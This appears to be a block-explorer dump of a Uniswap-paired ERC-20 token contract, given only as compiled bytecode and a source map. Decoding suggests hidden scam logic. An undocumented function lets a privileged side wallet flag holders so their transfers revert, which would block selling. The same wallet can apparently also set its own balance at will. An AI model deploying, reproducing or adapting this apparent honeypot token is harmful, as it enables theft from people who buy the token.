65b83811115611eef576000848401525b50505050565b6000601f19601f8301169050919050565b6000611f1182611ea6565b611f1b8185611eb1565b9350611f2b818560208601611ec2565b611f3481611ef5565b840191505092915050565b60006020820190508181036000830152611f598184611f06565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611f9182611f66565b9050919050565b611fa181611f86565b8114611fac57600080fd5b50565b600081359050611fbe81611f98565b92915050565b6000819050919050565b611fd781611fc4565b8114611fe257600080fd5b50565b600081359050611ff481611fce565b92915050565b6000806040838503121561201157612010611f61565b5b600061201f85828601611faf565b925050602061203085828601611fe5565b9150509250929050565b60008115159050919050565b61204f8161203a565b82525050565b600060208201905061206a6000830184612046565b92915050565b6000819050919050565b600061209561209061208b84611f66565b612070565b611f66565b9050919050565b60006120a78261207a565b9050919050565b60006120b98261209c565b9050919050565b6120c9816120ae565b82525050565b60006020820190506120e460008301846120c0565b92915050565b600060208284031215612100576120ff611f61565b5b600061210e84828501611faf565b91505092915050565b61212081611fc4565b82525050565b600060208201905061213b6000830184612117565b92915050565b60008060006060848603121561215a57612159611f61565b5b600061216886828701611faf565b935050602061217986828701611faf565b925050604061218a86828701611fe5565b9150509250925092565b61219d81611f86565b82525050565b60006020820190506121b86000830184612194565b92915050565b600060ff82169050919050565b6121d4816121be565b82525050565b60006020820190506121ef60008301846121cb565b92915050565b6000806040838503121561220c5761220b611f61565b5b600061221a85828601611faf565b925050602061222b85828601611faf565b9150509250929050565b600061224082611f66565b9050919050565b61225081612235565b82525050565b600060208201905061226b6000830184612247565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006122a7602083611eb1565b91506122b282612271565b602082019050919050565b600060208201905081810360008301526122d68161229a565b9050919050565b6000815190506122ec81611f98565b92915050565b60006020828403121561230857612307611f61565b5b6000612316848285016122dd565b91505092915050565b60006040820190506123346000830185612194565b6123416020830184612194565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061238f57607f821691505b602082108114156123a3576123a2612348565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006123e382611fc4565b91506123ee83611fc4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612423576124226123a9565b5b828201905092915050565b600061243982611fc4565b915061244483611fc4565b925082821015612457576124566123a9565b5b828203905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006124be602483611eb1565b91506124c982612462565b604082019050919050565b600060208201905081810360008301526124ed816124b1565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612550602283611eb1565b915061255b826124f4565b604082019050919050565b6000602082019050818103600083015261257f81612543565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006125e2602583611eb1565b91506125ed82612586565b604082019050919050565b60006020820190508181036000830152612611816125d5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612674602383611eb1565b915061267f82612618565b604082019050919050565b600060208201905081810360008301526126a381612667565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b600061272d61272861272384612708565b612070565b611fc4565b9050919050565b61273d81612712565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61277881611f86565b82525050565b600061278a838361276f565b60208301905092915050565b6000602082019050919050565b60006127ae82612743565b6127b8818561274e565b93506127c38361275f565b8060005b838110156127f45781516127db888261277e565b97506127e683612796565b9250506001810190506127c7565b5085935050505092915050565b600060a0820190506128166000830188612117565b6128236020830187612734565b818103604083015261283581866127a3565b90506128446060830185612194565b6128516080830184612117565b9695505050505050565b600061286682611fc4565b915061287183611fc4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156128aa576128a96123a9565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006128ef82611fc4565b91506128fa83611fc4565b92508261290a576129096128b5565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612971602183611eb1565b915061297c82612915565b604082019050919050565b600060208201905081810360008301526129a081612964565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006129dd601b83611eb1565b91506129e8826129a7565b602082019050919050565b60006020820190508181036000830152612a0c816129d0565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205193a08f6275ee9556fb2cc4d74b44f3ab0291c649789c6968b564f3717123a564736f6c63430008080033

Deployed Bytecode

0x60806040526004361061012e5760003560e01c80634a74bb02116100ab578063a9059cbb1161006f578063a9059cbb14610403578063c816841b14610440578063dd62ed3e1461046b578063e9ea469f146104a8578063f2fde38b146104d3578063fb3ddf85146104fc57610135565b80634a74bb021461031c57806370a0823114610347578063892cd8f5146103845780638da5cb5b146103ad57806395d89b41146103d857610135565b806318160ddd116100f257806318160ddd1461022157806323b872dd1461024c57806327c8f83514610289578063313ce567146102b45780633345611e146102df57610135565b806301339c211461013a57806306fdde0314610151578063095ea7b31461017c5780631694505e146101b95780631769a29c146101e457610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610539565b005b34801561015d57600080fd5b50610166610911565b6040516101739190611f3f565b60405180910390f35b34801561018857600080fd5b506101a3600480360381019061019e9190611ffa565b6109a3565b6040516101b09190612055565b60405180910390f35b3480156101c557600080fd5b506101ce6109c1565b6040516101db91906120cf565b60405180910390f35b3480156101f057600080fd5b5061020b600480360381019061020691906120ea565b6109e7565b6040516102189190612126565b60405180910390f35b34801561022d57600080fd5b506102366109ff565b6040516102439190612126565b60405180910390f35b34801561025857600080fd5b50610273600480360381019061026e9190612141565b610a09565b6040516102809190612055565b60405180910390f35b34801561029557600080fd5b5061029e610ae3565b6040516102ab91906121a3565b60405180910390f35b3480156102c057600080fd5b506102c9610b07565b6040516102d691906121da565b60405180910390f35b3480156102eb57600080fd5b50610306600480360381019061030191906120ea565b610b1e565b6040516103139190612055565b60405180910390f35b34801561032857600080fd5b50610331610b3e565b60405161033e9190612055565b60405180910390f35b34801561035357600080fd5b5061036e600480360381019061036991906120ea565b610b51565b60405161037b9190612126565b60405180910390f35b34801561039057600080fd5b506103ab60048036038101906103a69190611ffa565b610b9a565b005b3480156103b957600080fd5b506103c2610c80565b6040516103cf91906121a3565b60405180910390f35b3480156103e457600080fd5b506103ed610ca9565b6040516103fa9190611f3f565b60405180910390f35b34801561040f57600080fd5b5061042a60048036038101906104259190611ffa565b610d3b565b6040516104379190612055565b60405180910390f35b34801561044c57600080fd5b50610455610d5a565b60405161046291906121a3565b60405180910390f35b34801561047757600080fd5b50610492600480360381019061048d91906121f5565b610d80565b60405161049f9190612126565b60405180910390f35b3480156104b457600080fd5b506104bd610e07565b6040516104ca9190612256565b60405180910390f35b3480156104df57600080fd5b506104fa60048036038101906104f591906120ea565b610e2d565b005b34801561050857600080fd5b50610523600480360381019061051e91906120ea565b610f7f565b6040516105309190612055565b60405180910390f35b610541610f9f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c5906122bd565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561062d57600080fd5b505afa158015610641573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061066591906122f2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106c757600080fd5b505afa1580156106db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ff91906122f2565b6040518363ffffffff1660e01b815260040161071c92919061231f565b602060405180830381600087803b15801561073657600080fd5b505af115801561074a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076e91906122f2565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600019600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60606001805461092090612377565b80601f016020809104026020016040519081016040528092919081815260200182805461094c90612377565b80156109995780601f1061096e57610100808354040283529160200191610999565b820191906000526020600020905b81548152906001019060200180831161097c57829003601f168201915b5050505050905090565b60006109b76109b0610f9f565b8484610fa7565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60086020528060005260406000206000915090505481565b6000600954905090565b6000610a16848484611172565b50610ad884610a23610f9f565b610ad385604051806060016040528060288152602001612a1460289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a89610f9f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181f9092919063ffffffff16565b610fa7565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b600b60159054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c16600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610bfa576000610c07565b8182610c0691906123d8565b5b8261188390919063ffffffff16565b50600a811480610c265750606381145b15610c7c57600a81610c38919061242e565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610cb890612377565b80601f0160208091040260200160405190810160405280929190818152602001828054610ce490612377565b8015610d315780601f10610d0657610100808354040283529160200191610d31565b820191906000526020600020905b815481529060010190602001808311610d1457829003601f168201915b5050505050905090565b6000610d4f610d48610f9f565b8484611172565b506001905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610e35610f9f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ec2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb9906122bd565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b60076020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611017576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100e906124d4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611087576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107e90612566565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111659190612126565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156111e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111da906125f8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611253576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124a9061268a565b60405180910390fd5b60008073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580156112de57508373ffffffffffffffffffffffffffffffffffffffff16600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b9050600b60149054906101000a900460ff1615611308576113008585856118cd565b915050611818565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156113625750805b156113ec578261137c600285611aa090919063ffffffff16565b61138691906123d8565b60046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600b60149054906101000a900460ff161580156114535750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561146a5761146961146430610b51565b611aea565b5b60006114be84600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188390919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156115a55750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156117135760006115d360646115c5600088611d6a90919063ffffffff16565b611aa090919063ffffffff16565b90506000600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611633576116308582611de590919063ffffffff16565b90505b60008111156116f85780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461168b91906123d8565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116ef9190612126565b60405180910390a35b61170b818661188390919063ffffffff16565b915050611717565b8390505b61176981600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611de590919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118099190612126565b60405180910390a36001925050505b9392505050565b6000838311158290611867576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185e9190611f3f565b60405180910390fd5b5060008385611876919061242e565b9050809150509392505050565b60006118c583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061181f565b905092915050565b6000611958826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181f9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119ed82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611de590919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a8d9190612126565b60405180910390a3600190509392505050565b6000611ae283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e43565b905092915050565b6001600b60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b2257611b216126aa565b5b604051908082528060200260200182016040528015611b505781602001602082028036833780820191505090505b5090503081600081518110611b6857611b676126d9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c0a57600080fd5b505afa158015611c1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c4291906122f2565b81600181518110611c5657611c556126d9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611d16959493929190612801565b600060405180830381600087803b158015611d3057600080fd5b505af1925050508015611d41575060015b611d4a57611d4b565b5b506000600b60146101000a81548160ff02191690831515021790555050565b600080831415611d7d5760009050611ddf565b60008284611d8b919061285b565b9050828482611d9a91906128e4565b14611dda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd190612987565b60405180910390fd5b809150505b92915050565b6000808284611df491906123d8565b905083811015611e39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e30906129f3565b60405180910390fd5b8091505092915050565b60008083118290611e8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e819190611f3f565b60405180910390fd5b5060008385611e9991906128e4565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611ee0578082015181840152602081019050611ec5565b83811115611eef576000848401525b50505050565b6000601f19601f8301169050919050565b6000611f1182611ea6565b611f1b8185611eb1565b9350611f2b818560208601611ec2565b611f3481611ef5565b840191505092915050565b60006020820190508181036000830152611f598184611f06565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611f9182611f66565b9050919050565b611fa181611f86565b8114611fac57600080fd5b50565b600081359050611fbe81611f98565b92915050565b6000819050919050565b611fd781611fc4565b8114611fe257600080fd5b50565b600081359050611ff481611fce565b92915050565b6000806040838503121561201157612010611f61565b5b600061201f85828601611faf565b925050602061203085828601611fe5565b9150509250929050565b60008115159050919050565b61204f8161203a565b82525050565b600060208201905061206a6000830184612046565b92915050565b6000819050919050565b600061209561209061208b84611f66565b612070565b611f66565b9050919050565b60006120a78261207a565b9050919050565b60006120b98261209c565b9050919050565b6120c9816120ae565b82525050565b60006020820190506120e460008301846120c0565b92915050565b600060208284031215612100576120ff611f61565b5b600061210e84828501611faf565b91505092915050565b61212081611fc4565b82525050565b600060208201905061213b6000830184612117565b92915050565b60008060006060848603121561215a57612159611f61565b5b600061216886828701611faf565b935050602061217986828701611faf565b925050604061218a86828701611fe5565b9150509250925092565b61219d81611f86565b82525050565b60006020820190506121b86000830184612194565b92915050565b600060ff82169050919050565b6121d4816121be565b82525050565b60006020820190506121ef60008301846121cb565b92915050565b6000806040838503121561220c5761220b611f61565b5b600061221a85828601611faf565b925050602061222b85828601611faf565b9150509250929050565b600061224082611f66565b9050919050565b61225081612235565b82525050565b600060208201905061226b6000830184612247565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006122a7602083611eb1565b91506122b282612271565b602082019050919050565b600060208201905081810360008301526122d68161229a565b9050919050565b6000815190506122ec81611f98565b92915050565b60006020828403121561230857612307611f61565b5b6000612316848285016122dd565b91505092915050565b60006040820190506123346000830185612194565b6123416020830184612194565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061238f57607f821691505b602082108114156123a3576123a2612348565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006123e382611fc4565b91506123ee83611fc4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612423576124226123a9565b5b828201905092915050565b600061243982611fc4565b915061244483611fc4565b925082821015612457576124566123a9565b5b828203905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006124be602483611eb1565b91506124c982612462565b604082019050919050565b600060208201905081810360008301526124ed816124b1565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612550602283611eb1565b915061255b826124f4565b604082019050919050565b6000602082019050818103600083015261257f81612543565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006125e2602583611eb1565b91506125ed82612586565b604082019050919050565b60006020820190508181036000830152612611816125d5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612674602383611eb1565b915061267f82612618565b604082019050919050565b600060208201905081810360008301526126a381612667565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b600061272d61272861272384612708565b612070565b611fc4565b9050919050565b61273d81612712565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61277881611f86565b82525050565b600061278a838361276f565b60208301905092915050565b6000602082019050919050565b60006127ae82612743565b6127b8818561274e565b93506127c38361275f565b8060005b838110156127f45781516127db888261277e565b97506127e683612796565b9250506001810190506127c7565b5085935050505092915050565b600060a0820190506128166000830188612117565b6128236020830187612734565b818103604083015261283581866127a3565b90506128446060830185612194565b6128516080830184612117565b9695505050505050565b600061286682611fc4565b915061287183611fc4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156128aa576128a96123a9565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006128ef82611fc4565b91506128fa83611fc4565b92508261290a576129096128b5565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612971602183611eb1565b915061297c82612915565b604082019050919050565b600060208201905081810360008301526129a081612964565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006129dd601b83611eb1565b91506129e8826129a7565b602082019050919050565b60006020820190508181036000830152612a0c816129d0565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205193a08f6275ee9556fb2cc4d74b44f3ab0291c649789c6968b564f3717123a564736f6c63430008080033

Deployed Bytecode Sourcemap

3657:6136:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6711:512;;;;;;;;;;;;;:::i;:::-;;5001:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5664:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4323:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4206;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5278:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6215:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3931:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5187:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4097:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4438:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5386:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9560:230;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2790:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5092:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6536:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4371:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5513:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3852:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3004:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4154:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6711:512;2927:12;:10;:12::i;:::-;2917:22;;:6;;;;;;;;;;:22;;;2909:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6756:35:::1;6813:42;6756:100;;6945:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6927:70;;;7006:4;7013:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6927:110;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6913:11;;:124;;;;;;;;;;;;;;;;;;7068:16;7050:15;;:34;;;;;;;;;;;;;;;;;;7132:4;7095:12;:34;7116:11;;;;;;;;;;;7095:34;;;;;;;;;;;;;;;;:41;;;;;;;;;;;;;;;;;;7211:1;7202:11;7147;:26;7167:4;7147:26;;;;;;;;;;;;;;;:52;7182:15;;;;;;;;;;;7147:52;;;;;;;;;;;;;;;:66;;;;6745:478;6711:512::o:0;5001:83::-;5038:13;5071:5;5064:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5001:83;:::o;5664:161::-;5739:4;5756:39;5765:12;:10;:12::i;:::-;5779:7;5788:6;5756:8;:39::i;:::-;5813:4;5806:11;;5664:161;;;;:::o;4323:41::-;;;;;;;;;;;;;:::o;4206:::-;;;;;;;;;;;;;;;;;:::o;5278:100::-;5331:7;5358:12;;5351:19;;5278:100;:::o;6215:313::-;6313:4;6330:36;6340:6;6348:9;6359:6;6330:9;:36::i;:::-;;6377:121;6386:6;6394:12;:10;:12::i;:::-;6408:89;6446:6;6408:89;;;;;;;;;;;;;;;;;:11;:19;6420:6;6408:19;;;;;;;;;;;;;;;:33;6428:12;:10;:12::i;:::-;6408:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;6377:8;:121::i;:::-;6516:4;6509:11;;6215:313;;;;;:::o;3931:81::-;;;:::o;5187:83::-;5228:5;5253:9;;;;;;;;;;;5246:16;;5187:83;:::o;4097:50::-;;;;;;;;;;;;;;;;;;;;;;:::o;4438:40::-;;;;;;;;;;;;;:::o;5386:119::-;5452:7;5479:9;:18;5489:7;5479:18;;;;;;;;;;;;;;;;5472:25;;5386:119;;;:::o;9560:230::-;9622:81;9659:4;;;;;;;;;;;9645:18;;:10;:18;;;;9644:48;;9691:1;9644:48;;;9685:3;9681;:7;;;;:::i;:::-;9644:48;9622:3;:7;;:81;;;;:::i;:::-;